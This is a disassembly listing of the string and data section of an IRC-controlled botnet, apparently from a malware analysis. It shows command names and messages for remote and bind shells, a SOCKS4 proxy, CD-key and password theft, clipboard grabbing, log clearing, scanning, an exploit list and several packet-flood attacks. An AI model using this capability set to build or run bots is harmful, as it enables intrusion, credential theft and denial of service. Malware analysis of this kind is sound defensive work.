aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42C120	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C140	dd 627573h		; DATA XREF: sub_401ACD+2935o
dword_42C144	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C194	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1C8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C200	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C23C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
dword_42C280	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C2A0	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42C300	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C32C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C348	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C360	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C3B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C408	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C468	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C4E0	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C58C	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C620	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 10h
unk_42C6A0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C71C	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C788	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8AC	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8B0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8BC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382F8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 4
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:00438304o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438310o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382E8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 4
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA68	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA88	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 4
dword_42CAAC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 4
dword_42CAFC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB44	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB78	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB88	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB98	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CBA8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBB8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBC4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBD0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBDC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CC00	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC18	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC28	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC44	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC54	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 10h
dword_42CC70	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC7C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC90	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CC9C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CCA8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCC4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD04	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 10h
dword_42CD20	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 4
dword_42CD3C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD64	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438314o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 10h
asc_42CE10:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 10h
asc_42CE50:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043832Co ...
		unicode	0, <l>,0
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CEF0	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF18	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF98	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFB0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFB8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFD4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFE0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42D020	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D028	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D03C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42D060	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
